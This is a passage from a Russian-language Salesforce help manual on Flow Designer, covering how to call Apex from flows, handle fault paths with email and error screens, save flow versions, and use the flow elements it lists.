соответствует выбранному параметру «Одно условие должно быть истинным
(ИЛИ)». При вводе любой другой логики убедитесь, что каждому условию
соответствует нужное число.

Например, при использовании логики «1 И (2 ИЛИ 3)» поток оценивает
истинность первого условия и истинность второго или третьего условия.

СМ. ТАКЖЕ:

Что такое условия ожидания?

Элемент «Ожидание» в потоке

Элемент потока «Решение»

Отправка сообщения эл. почты из потока

Чтобы отправить сообщение эл. почты из потока, запустите действие бизнес-правила «Электронное предупреждение»
или создайте сообщение эл. почты в потоке.

Элемент «Электронное предупреждение»
Данныйэлементотправляетсообщениеэл. почтыпутемиспользованияэлектронногопредупреждениябизнес-правила
для выбора шаблона эл. почты и получателей. Поток предоставляет только код записи.

Элемент «Отправка эл. почты»
Отправляет сообщение эл. почты, где в потоке вручную указывается тема, текст и получатели.

СМ. ТАКЖЕ:

Элементы потока

Вызов кода Apex из потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Облачная версия приложения Flow Designer поддерживает множество функций, но
иногда поток может содержать действия, которые не поддерживаются стандартными
элементами. В данном случае рекомендуем вызывать класс Apex из потока путем
использования одного из двух элементов потока: «Модуль Apex» и «Вызвать Apex».

Разработчикам доступны два метода предоставления доступа к классу Apex в потоке.

Совет: Рекомендуем использовать примечание @InvocableMethod вместо
интерфейса Process.Plugin.

Несмотря на то, что интерфейс Process.Plugin позволяет настраивать способы
отображения класса на палитре, примечание @InvocableMethod поддерживает
дополнительныефункции. Таблицанижеописываетфункции, поддерживаемыекаждым
методом.
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Примечание @InvocableMethodИнтерфейс Process.Plugin

Не поддерживаются:Не поддерживаются:Поддержкатипов
данных Apex • Общий объект• Blob

• Collection • Общий объект sObject

• sObject • Наборы

• Time • Карты

• Нумерации

Облачная версия приложения Flow Designer не
поддерживаетсоотнесениепараметроввводаили
вывода метода Apex с переменной коллекции
sObject.

ПоддерживаютсяНе поддерживаютсяПакетные
операции

Имя классаИмя класса или значение свойства name.Имя элемента в
облачной версии
приложения Flow
Designer

Классы, реализующие данное примечание,
доступны в компонентах:

Классы, реализующие данный интерфейс,
доступны в потоках

Многоразовое
использование

• Потоки

• Процессы

• REST API

Apex«Модуль Apex» или значение свойства tag.Разделвоблачной
версии
приложения Flow
Designer

Примечание InvocableMethodипримечание
InvocableVariable

Передача данных в поток посредством
интерфейса Process.Plugin

Дополнительная
информация в
Руководстве
разработчика
Force.com Apex
Code

Пример: Чтобыпросмотретьразличиямеждуданнымидвумяметодамиреализации, воспользуйтесьдвумяклассами,
выполняющими одинаковые действия: извлечение имени организации из потока и отображение кода данной
организации.

Данный класс реализует примечание @InvocableMethod.

global class lookUpAccountAnnotation {
@InvocableMethod
public static List<String> getAccountIds(List<String> names) {
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List<Id> accountIds = new List<Id>();
List<Account> accounts = [SELECT Id FROM Account WHERE Name in :names];
for (Account account : accounts) {

accountIds.add(account.Id);
}
return accountIds;

}
}

Данный класс реализует интерфейс Process.Plugin.

global class lookUpAccountPlugin implements Process.Plugin {

global Process.PluginResult invoke(Process.PluginRequest request) {
String name = (String) request.inputParameters.get('name');
Account account = [SELECT Id FROM Account WHERE Name = :name LIMIT 1][0];

Map<String,Object> result = new Map<String,Object>();
result.put('accountId', account.Id);
return new Process.PluginResult(result);

}

global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'Look Up Account ID By Name';
result.Tag = 'Account Classes';
result.inputParameters = new

List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('name',
Process.PluginDescribeResult.ParameterType.STRING, true)

};
result.outputParameters = new

List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('accountId',
Process.PluginDescribeResult.ParameterType.STRING)

};
return result;

}
}

Обратите внимание, что lookupAccountAnnotation содержит наполовину меньше строк (11 строк), чем
lookupAccountPlugin  (28 строк). Кроме того, примечание поддерживает пакетные операции, поэтому
lookupAccountAnnotation выполняет один запрос на пакет сеансов, тогда как lookupAccountPlugin
выполняет один запрос на сеанс.

СМ. ТАКЖЕ:

Элементы потока
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Просмотр элементов ввода и вывода других версий ссылочного потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

При настройке элемента «Подпоток» пользователям доступны переменные указанной
версии ссылочного потока. При этом можно одновременно настраивать основные и
ссылочные потоки в режиме черновика.

Элемент «Подпоток» позволяет назначать значения только переменным ссылочного
потока, поддерживающим доступ к элементам ввода. Аналогично, значения могут
назначаться только из переменных ссылочного потока, поддерживающих доступ к
элементамвывода. Данныйдоступопределяетсяполемпеременной «Тип ввода/вывода».
Чтобыизменить значениеполяпеременной «Тип ввода/вывода», откройте ссылочный
поток для редактирования переменной.

Поумолчаниюданныйраскрывающийсясписоксодержитпеременныетекущейактивной
версии ссылочного потока. При отсутствии активной версии ссылочного потока
раскрывающийся список содержит переменные последней версии ссылочного потока.

Чтобы заполнить раскрывающиеся списки переменными другой версии ссылочного
потока, выполните указанныенижедействия. Чтобыпросмотретьописанияпеременных
ссылочного потока, выполните аналогичные действия.

1. Разверните раздел «Назначения переменной ввода/вывода» в области наложения
подпотока.

2. Щелкните ссылку «Просмотр ввода/вывода других версий».

3. Воспользуйтесь как минимум одним параметром ниже.

ОписаниеПараметр

Вкладки «Элементы ввода» и «Элементы вывода»
отображают переменные в выбранной версии
ссылочного потока.

Выберите номер версии на
левой панели.

Вкладка содержит следующие компоненты:Откройтевкладку «Элементы
ввода» или «Элементы
вывода».

• Переменные, доступные для назначения
элементов ввода или вывода в выбранной
версии ссылочного потока.

• Тип данных для каждой переменной.

• Описание для каждой переменной (при его
наличии).

Раскрывающиеся списки в области наложения
подпотока, используемыедля выборапеременных

Нажмите кнопку «OK».

ссылочного потока, заполняются переменными
выбранной версии ссылочного потока.

При настройке назначений элементов ввода и вывода подпотока пользователи могут задавать переменные из любой
версии ссылочного потока. Данный алгоритм позволяет разрабатывать основной и ссылочный потоки параллельно, а
также выбирать другую версию ссылочного потока в качестве активной для пользователей. Тем не менее, при сохранении
основного потока облачная версия приложения Flow Designer выполняет проверку относительно текущей активной
версии ссылочногопотока. Приотсутствии активной версииданногопотока проверяется последняя версия. Сообщения
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опроверке, уведомляющиепользователейоналичиипеременных, которыенемогут бытьнайденыилииначенастроены
в ссылочном потоке, не препятствуют сохранению потока. Тем не менее, прежде чем активировать основной поток,
рекомендуем устранить все ошибки проверки.

СМ. ТАКЖЕ:

Элемент «Подпоток» в потоке

Добавление значений в переменную коллекции

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Созданнаяпеременнаяколлекциидолжнабытьзаполненазначениямидляиспользования
в любой области потока. Элемент «Поиск записи» или «Быстрый поиск» не может
использоваться для заполнения переменной коллекции. Тем не менее, пользователям
доступны некоторые временные решения.

Чтобыиспользовать значения запределамипотока, задайтеполю «Тип ввода/вывода»
переменнойколлекциизначение «Ввод», а затемвоспользуйтесьпараметрами URL-адреса,
контроллерами Visualforce или элементами ввода подпотока. Значения, полученные за
пределами потока, могут быть заданы только в начале сеанса потока.

Дополнительная
информация

ДействияЧтобы добавить
значения, хранящиеся
в...

Добавьте введенное или
сохраненноезначениеполя

Поле окна • Поля выбора

• Поля вводав переменную коллекции
• Поля выводапосредством элемента

«Назначение». • Назначения

Добавьте сохраненное
значение переменной в

Переменная • Переменные

• Назначенияпеременную коллекции
посредством элемента
«Назначение».

Добавьте одно из
сохраненных значений

Переменная sObject • Переменные sObject

• Назначенияполя переменной sObject в
переменную коллекции
посредством элемента
«Назначение».

Выполните цикл по
переменной коллекции

Переменная коллекции
sObject

• Переменныеколлекции
sObject

sObject. Добавьте одно из
• Циклысохраненных значений
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Дополнительная информацияДействияЧтобы добавить значения,
хранящиеся в...

поляпеременнойцикла впеременную
коллекции посредством элемента
«Назначение».

• Назначения

СМ. ТАКЖЕ:

Ресурс потока «Переменная коллекции»

Образец потока, заполняющего переменную коллекции

Определение пути, по которому идет поток

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Укажите то, какие элементывыполняетпоток, ипорядокихвыполнения, связав элементы
на холсте вместе.

1. Найдите узел внизу исходного элемента на холсте.

2. Перетащите узел в целевой элемент.

3. При необходимости выберите результат для назначения пути.

СМ. ТАКЖЕ:

Удаление коннекторов из потока

Коннекторы потока

Настройка действий, выполняемых при неудачном выполнении потока
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Удаление коннекторов из потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Исходные и целевые элементы коннектора не могут быть изменены. Чтобы изменить
путь, удалите коннектор и добавьте новый.

Удаление коннектора для конкретного результата не инициирует удаление результата
из исходного элемента. Тем не менее, удаление результата из элемента «Решение»
инициирует удаление коннектора результата.

1. Выберите нужный коннектор в потоке.

Цветвыбранногоконнектораменяется с серогона зеленый. Еслинеудается выделить
коннектор, щелкните мышью и обведите область на холсте, в которую входит
коннектор.

2. Нажмите клавишу DELETE.

СМ. ТАКЖЕ:

Определение пути, по которому идет поток

Коннекторы потока

Настройка действий, выполняемых при неудачном выполнении потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Выполнение потока, содержащего элемент, который взаимодействует с базой данных
Salesforce (например, элемент «Обновление записи» или «Отправить на утверждение»),
может быть неудачным. Чтобыизменить стандартный алгоритм, добавьте пути ошибок
во все элементы, которые могут оказаться проблемными.

Что происходит при неудачном выполнении потока?
Преждечемнастроитьпорядок обработкиошибок впотоке, просмотрите действия,
выполняемые неудачным потоком по умолчанию.

Настройка каждогопутиошибкидляотправкисообщения эл. почты (рекомендация)
Рекомендуем настраивать коннекторы «Ошибка», позволяющие пользователям
всегдаполучатьсообщенияэл. почтыпринеудачномвыполнениипотока. Дополните
сообщениеэл. почтытекущимизначениямивсехресурсовпотока. Значенияресурсов
позволяют точнее определить причину неудачного выполнения потока.

Настройка сообщения об ошибке для пользователей выполняемого потока (рекомендация)
Пользователямможетотображатьсяболеепонятноесообщение, чемсообщение «Произошланеобработаннаяошибка
потока». Рекомендуем применять данный алгоритм только при условии, что используемый метод распространения
поддерживает потоки, содержащие окна. Другими словами, данный алгоритм не должен применяться при
распространении потока посредством процесса.
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Другие примеры обработки ошибок в потоках
Примерамииспользованияконнекторов «Ошибка» дляобработкиошибокпотоковявляются запросынаисправления
и пропуски ошибок.

СМ. ТАКЖЕ:

Коннекторы потока

Элементы потока

Определение пути, по которому идет поток

Что происходит при неудачном выполнении потока?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем настроить порядок обработки ошибок в потоке, просмотрите действия,
выполняемые неудачным потоком по умолчанию.

Ниже перечислены действия, выполняемые по умолчанию.

• Текущемупользователю (пользователь, выполняющийпоток) отображаетсяданное
сообщение об ошибке.

An unhandled fault has occurred in this flow
An unhandled fault has occurred while processing
the flow. Please contact your system administrator
for more information.

• Текущему пользователю запрещается дальнейшее выполнение потока или возврат к предыдущей области потока.

• Администратору, создавшему поток, отправляется сообщение эл. почты об ошибке. Сообщение эл. почты содержит
проблемный элемент, соответствующее сообщение об ошибке, а также список элементов, выполненных во время
неудачного сеанса. См. пример возможного сообщения об ошибке ниже.

An error occurred at element Fast_Delete_1.
DELETE --- There is nothing in Salesforce matching your
delete criteria.

СМ. ТАКЖЕ:

Настройка действий, выполняемых при неудачном выполнении потока
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Настройка каждого пути ошибки для отправки сообщения эл. почты (рекомендация)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Рекомендуем настраивать коннекторы «Ошибка», позволяющие пользователям всегда
получать сообщения эл. почты при неудачном выполнении потока. Дополните
сообщение эл. почты текущими значениями всех ресурсов потока. Значения ресурсов
позволяют точнее определить причину неудачного выполнения потока.

1. Создайте текстовыйшаблон, содержащий значения всех ресурсов потока.

Данныйалгоритмпозволяетпросмотреть точные значенияпеременныхпотокапри
неудачном выполнении сеанса. Кроме того, если поток содержит окна, то данный
алгоритм позволяет точно определить значения, введенные и выбранные
пользователем.

См. пример текстового шаблона ниже.

Error: {!$Flow.FaultMessage}

RESOURCE VALUES
Customer Response: {!Customer_Response}
Value of Decision's Yes outcome: {!Yes}
Company: {!Company_Name}
Satisfaction Choice Field: {!Satisfaction}
Service Choice Field: {!Service}
Other Comments:
{!OtherComments}

2. Настройте элемент «Отправка эл. почты». Выберите текстовыйшаблон в качестве текста, а собственный адрес эл.
почты в качестве получателя.
В данном примере полю «Текст» задается созданный текстовыйшаблон: {!allVariableValues}.

3. Соедините элемент «Отправка эл. почты» и каждый элемент, который может оказаться проблемным, посредством
коннектора «Ошибка».
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В данном примере элемент «Создание записи» является единственным элементом, поддерживающим коннекторы
«Ошибка».

СМ. ТАКЖЕ:

Ресурс потока «Текстовыйшаблон»

Элемент потока «Отправка письма эл. почты»

Настройка действий, выполняемых при неудачном выполнении потока

Настройка сообщения об ошибке для пользователей выполняемого потока (рекомендация)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Пользователям может отображаться более понятное сообщение, чем сообщение
«Произошланеобработаннаяошибкапотока». Рекомендуемприменятьданныйалгоритм
только при условии, что используемый метод распространения поддерживает потоки,
содержащие окна. Другими словами, данный алгоритм не должен применяться при
распространении потока посредством процесса.
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1. Создайте текстовыйшаблон, содержащий более понятное сообщение об ошибке.

<FONT FACE="Arial" STYLE="font-size:14px">
<B>Something went wrong with this flow.</B>
</FONT>
<P>Your admin has received an email about this error.</P>

2. Добавьте элемент «Окно». Заполните поле «Отображать текст» ссылкой на текстовыйшаблон.

3. Соедините элемент «Окно» и каждый элемент, который может оказаться проблемным, посредством коннектора
«Ошибка».
В данном примере элемент «Создание записи» является единственным элементом, поддерживающим коннекторы
«Ошибка». После отображения пользователю более понятного сообщения об ошибке поток отправляет
администратору сообщение эл. почты, содержащее сведения об отладке.

СМ. ТАКЖЕ:

Элемент «Окно» в потоке: поля отображения текста

Ресурс потока «Текстовыйшаблон»

Настройка действий, выполняемых при неудачном выполнении потока

Другие примеры обработки ошибок в потоках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Примерами использования коннекторов «Ошибка» для обработки ошибок потоков
являются запросы на исправления и пропуски ошибок.

Отображение запросов на исправления
Присоедините коннектор «Ошибка» к элементу «Окно» для предоставления
пользователям возможности проверки введенных значений, внесения исправлений
и дальнейшего выполнения потока.

Отображение сообщения об ошибке
Еслипоток предназначен только для внутреннего пользования (например, в центре
обработкивызовов), настройтепутьошибкидляотображениясообщенияобошибке
текущемупользователю. Воспользуйтесь темже элементом «Окно» для уведомления
пользователя о необходимости отправки ошибки сотрудникам отдела
информационных технологий. Для этого, присоедините коннектор «Ошибка» к
элементу «Окно» и заполните поле «Отображать текст» примером ниже.

Sorry, but you can’t read or update records at this time.
Please open a case with IT and include this error message:
{!$Flow.FaultMessage}

Создание обращения
Автоматическоесозданиеобращения, содержащегосообщениеобошибке, иегоназначениеотделуинформационных
технологиймогутбытьинициированыпривозникновенииошибки. Назначьтекодсозданногообращенияпеременной
типа «Текст» (например, {!caseId}). Затемвоспользуйтесь элементом «Окно» дляотображенияданного сообщения
текущему пользователю.

Sorry, but you can’t read or update records at this time.
We filed a case for you.
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Пропуск ошибок
Чтобы пропустить ошибки для отдельного элемента потока, присоедините коннектор «Ошибка» к тому же элементу
в качестве обычного коннектора.

СМ. ТАКЖЕ:

Настройка действий, выполняемых при неудачном выполнении потока

Выбор стартового элемента потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Прежде чем сохранить поток, рекомендуем выбрать элемент, который должен
выполняться первым.

1. Наведите указатель мыши на стартовый элемент потока.

2. Щелкните значок .

СМ. ТАКЖЕ:

Сохранение потока
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Сохранение потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Ниже перечислены некоторые способы сохранения потока, созданного в облачной
версии приложения Flow Designer.

Первоначальное сохранение
При первом сохранении нового потока отображается диалоговое окно. Введите
значения для каждого свойства потока. Уникальное имя сохраненного потока не
может быть изменено.

Быстрое сохранение
При повторном сохранении потока кнопка «Сохранить» выполняет быструю
перезапись предыдущей версии потока. Однако кнопка «Сохранить» недоступна
при редактировании активных потоков. Чтобы сохранить внесенные изменения в
качестве новой версии или нового потока, воспользуйтесь кнопкой «Сохранить
как».

Сохранить как
Данная кнопка становится доступной после сохранения потока и поддерживает два
способа сохранения:

• «Сохранить как новый поток»: открывается диалоговое окно, позволяющее
указать новое имя, уникальное имя и описание потока, а затем сохранить
внесенные изменения в качестве нового потока.

• «Сохранить как новую версию»: сохранение потока в качестве новой версии
текущегопотока. Рекомендуемиспользоватьданныйспособдляизмененияпотока
и сохранения предыдущей конфигурации в качестве резервной копии.

Каждый поток может иметь не более 50 версий. При сохранении новой версии уникальное имя не может быть
обновлено.

Ниже перечислены рекомендации по сохранению потока или версии потока.

• Если одна вкладка обозревателя отображает страницу сведений о потоке, а другая вкладка используется для
редактированияего версии, рекомендуемвыполнитьотредактированнуюверсиютолькопосле выполнениядействий
ниже.

1. Сохраните версию.

2. Закройте облачную версию приложения Flow Designer.

3. Обновите страницу сведений о потоке на первой вкладке.

• Еслинеудаетсясохранитьизмененныесвойствапотока, топредыдущиезначениясвойствпотоканевосстанавливаются.

СМ. ТАКЖЕ:

Облачная версия приложения Flow Designer

Активация или деактивация версии потока
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Ссылка потока

Элементы потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждый элементсоответствуетдействию, котороеможетвыполнятьсяпотоком. Например,
чтение или запись данных Salesforce, отображение и сбор данных от пользователей
потока, выполнение бизнес-логики или управление данными.

Холст и вкладка «Проводник» облачной версии приложения Flow Designer отображают
элементы, которыеужеиспользуютсяпотоком. Вкладка «Палитра» отображаетдоступные
типы элементов, которые могут быть добавлены в поток путем их перетаскивания на
холст.

Общие параметры для элементов потока
Каждыйэлементпотокаимееттриобщихпараметра: имя, уникальноеимяиописание.

Элемент потока «Модуль Apex»

Данный элемент вызывает класс Apex, реализующий интерфейс Process.Plugin. При использовании свойства
Tag в классе PluginDescribeResult класс Apex отображается в настраиваемом разделе. В противном случае,
данный класс отображается в разделе «Модули Apex».

Элемент потока «Назначение»

Данный элемент задает или изменяет значения переменных, переменных коллекции, переменных sObject или
переменных коллекции sObject.

Элемент потока «Вызов кода Apex»

Данный элемент вызывает вызываемый метод класса Apex.

Элемент потока «Решение»

Изучает набор условий и направляет пользователей по потоку на основе результатов вычисления этих условий.
Данный элемент выполняет действия, аналогичные оператору импликации.

Элемент потока «Электронное предупреждение»

Данныйэлементотправляетсообщениеэл. почтыпутемиспользованияэлектронногопредупреждениябизнес-правила
для выбора шаблона эл. почты и получателей. Поток предоставляет только код записи.

Элемент «Быстрое создание» в потоке
Данныйэлемент создаетнабор записей Salesforce сиспользованиемзначенийполейизпеременнойколлекции sObject.
Или создает отдельную запись Salesforce с использованием значений полей из переменной sObject.

Элемент «Быстрое удаление» в потоке
Данный элемент удаляет набор записей Salesforce с использованием значений кода, сохраненных в переменной
коллекции sObject. Или удаляет отдельную запись Salesforce с использованием значения кода из переменной sObject.

Элемент «Быстрый поиск» в потоке
Данный элемент находит записи Salesforce для назначения значений их полей переменной коллекции sObject. Или
находит отдельную запись Salesforce для назначения значений ее полей переменной sObject.

Элемент «Быстрое обновление» в потоке
Данный элемент обновляет набор записей Salesforce посредством значений полей из переменной коллекции sObject.
Или обновляет отдельную запись Salesforce посредством значений полей из переменной sObject. Если код записи
входит в переменную, значения ее полей обновляются до соответствия другим значениям этой переменной.
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Элемент «Цикл» в потоке
Выполняет перебор коллекции по одному элементу и извлекает действия из значений полей каждого элемента
посредством других элементов в петле.

Элемент «Создание записи» в потоке
Данный элемент создает отдельную запись Salesforce с использованием значений отдельных полей, указанных
пользователем.

Элемент «Удаление записи» в потоке
Удаляет все записи Salesforce, соответствующие заданному критерию.

Элемент «Поиск записи» в потоке
Находитпервуюзапись Salesforce, соответствующуюзаданномукритерию. Затемданныйэлементназначает значения
полей записи отдельным переменным потока или отдельным полям переменных sObject.

Элемент «Обновление записи» в потоке
Находит все записи Salesforce, соответствующие заданному критерию, и обновляет их до значений отдельных полей,
указанных пользователем.

Элемент потока «Быстрое действие»

Вызывает глобальное быстрое действие или действие объекта, настроенное в вашей организации. Поддерживаются
только действия «Создание», «Обновление» и «Запись вызова в журнал».

Элемент потока «Сообщение в Chatter»

Публикует сообщение в указанную ленту, например в группу Chatter или запись обращения. Сообщение может
содержать упоминания и темы, но поддерживаются только текстовые публикации.

Элемент «Окно» в потоке
Отображает окно для пользователя, выполняющего цикл, для вывода информации для пользователя или сбора
информации от пользователя.

Элемент потока «Отправка письма эл. почты»

Отправляет сообщение эл. почты, где в потоке вручную указывается тема, текст и получатели.

Элемент «Действие» в потоке
Структурный нуль, который может использоваться в тех случаях, когда пользователь не может выбрать нужный
элемент.

Элемент потока «Отправить на утверждение»

Данный элемент отправляет одну запись Salesforce на утверждение.

Элемент «Подпоток» в потоке
Данный элемент вызывает другой поток организации. С помощью этого элемента можно ссылаться на модульные
потоки и упрощать общую архитектуру потока.

Элемент «Ожидание» в потоке
Ожидаетвыполненияодногоилинесколькихзаданныхсобытий, чтопозволяетавтоматизироватьпроцессы, требующие
периода ожидания.

СМ. ТАКЖЕ:

Ресурсы потока

Облачная версия приложения Flow Designer
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Общие параметры для элементов потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждый элемент потока имеет три общих параметра: имя, уникальное имя и описание.

ОписаниеПоле

Имя позволяет определить элемент холста.Имя

Пустоеполе заполняется автоматическипризаполненииполя «Имя»
и нажатии клавиши TAB.

Имя элемента должно быть уникальным только в рамках текущего
потока. Уникальное имя элементов может повторяться, при условии,
чтоданныеэлементыиспользуются вразныхпотоках.Уникальноеимя
может содержать толькобуквы, цифрыисимволыподчеркивания. Имя
должно начинаться с буквы; не может содержать пробелов и двух

Уникальное
имя

последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Данное поле отображается после нажатия кнопки «Добавить
описание».

Описание

Элемент потока «Модуль Apex»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент вызывает класс Apex, реализующий интерфейс Process.Plugin.
При использовании свойства Tag в классе PluginDescribeResult класс Apex
отображается внастраиваемомразделе. Впротивномслучае, данныйклассотображается
в разделе «Модули Apex».

Совет:

• КлассыApexотображаютсянапалитрекакмодулиApex толькоприреализации
интерфейса Process.Plugin.

• При наличии нескольких модулей в организации попросите разработчика
использоватьсвойство tag. Классотображаетсяподспециальнымзаголовком
раздела на палитре. Впротивном случае, класс отображается со всеми другими
модулями Apex.

• Еслинужныйклассне реализуетинтерфейс Process.Plugin, рекомендуем
использовать примечание @InvocableMethod. В отличие от интерфейса
Process.Plugin, примечание @InvocableMethod поддерживает типы
данных sObject, Collection, Blob и Time, а также пакетные операции. Кроме того,
оноотличаетсяболее удобнойреализацией. Подробноесравнениеинтерфейса
и примечания см. в разделе «Вызов кода Apex из потока» на странице 4924.

Входныеданные

Передайте информацию из потока в вызванный метод Apex. Метод определяет доступные входные параметры.

Выходныеданные

Передайте информацию из вызванного метода Apex в поток. Метод определяет доступные выходные параметры.
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Поток назначает значения указанным переменным при выполнении кода.

Использование

Прим.: Если класс Apex создает, обновляет или удаляет запись, то такое действие не будет выполнено, пока не
завершится транзакция сеанса. Транзакции считаются выполненнымипосле того как сеанс завершится, либо будут
выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Вызов кода Apex из потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках

Руководство разработчика Apex: пространство имен процесса

Элемент потока «Назначение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент задает или изменяет значения переменных, переменных коллекции,
переменных sObject или переменных коллекции sObject.

В каждой строке укажите переменную, значение которой требуется изменить, и новое
значение для этойпеременной. Назначенияпеременныхбудутпроисходитьв указанном
порядке в ходе выполнения.

ОписаниеЗаголовок
столбца

Переменная, значение которой должно быть изменено.Переменная

Доступныеоператорыопределяются типомданных, выбранным
для столбца «Переменная».

Оператор

Столбцы «Переменная» и «Значение» одной строки должны
использовать совместимые типы данных.

Доступные действия:

Значение

• Выберите текущий ресурс потока (например, переменная,
постоянная или ввод данных пользователем).

• Чтобы создать ресурс потока, выберите раздел «СОЗДАТЬ».

• Введите вручную литеральное значение или поле слияния.
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Пример: Измените значениерейтинга кредитоспособностиклиента, исходяиз того, как клиентответилна вопросы
из потока.

СМ. ТАКЖЕ:

Элементы потока

Операторы в элементах «Назначение» потока

Определение пути, по которому идет поток

Ресурсы потока

Ссылки на поля кросс-объекта в потоках

Элемент потока «Вызов кода Apex»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент вызывает вызываемый метод класса Apex.

Важное замечание: Чтобы использовать данный элемент для вызова класса Apex
изпотока, попроситеразработчикадополнитьодинизметодовклассапримечанием
@InvocableMethod. Дополнительнуюинформациюсм. вразделе «Примечание
InvocableMethod» Руководства разработчика Force.com Apex Code.

Входныеданные

ПередайтеинформациюизпотокаввызванныйметодApex. Методопределяетдоступные
входные параметры.

Выходныеданные

Передайте информацию из вызванного метода Apex в поток. Метод определяет доступные выходные параметры.

Поток назначает значения указанным переменным при выполнении метода.

Использование

Прим.: Если вызванный метод создает, обновляет или удаляет запись, то такое действие не будет выполнено, пока
не завершится транзакция сеанса. Транзакции считаются выполненными после того как сеанс завершится, либо
будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Вызов кода Apex из потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент потока «Решение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Изучает набор условий и направляет пользователей по потоку на основе результатов
вычисленияэтихусловий. Данныйэлементвыполняетдействия, аналогичныеоператору
импликации.

Результаты
Создайте результаты решения. Чтобы переименовать путь, применяемый потоком при
невыполнении других условий результата, щелкните «[Стандартный результат]».
Настройте условия.

ОписаниеПоле

Определяет коннектор для этого результата на холсте.Имя

Имя элемента должно быть уникальным только в рамках текущего
потока. Уникальное имя элементов может повторяться, при условии,

Уникальное
имя

чтоданныеэлементыиспользуются вразныхпотоках.Уникальноеимя
может содержать толькобуквы, цифрыисимволыподчеркивания. Имя
должно начинаться с буквы; не может содержать пробелов и двух
последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Определяет, пойдет ли поток по пути этого результата.Условия

Пример: Используйте элемент «Решение» для следующих задач.

• необходимостиотображенияклиентамобратногоадресаотправки (ввидуошибочногоэлемента) илиинструкций
по решению проблемы;

• возможности выдачи займа клиенту (на основе результатов формулы по оценке кредитоспособности).

Совет: настройки потока на выполнение разных действий на основе значения, выбранного пользователем из
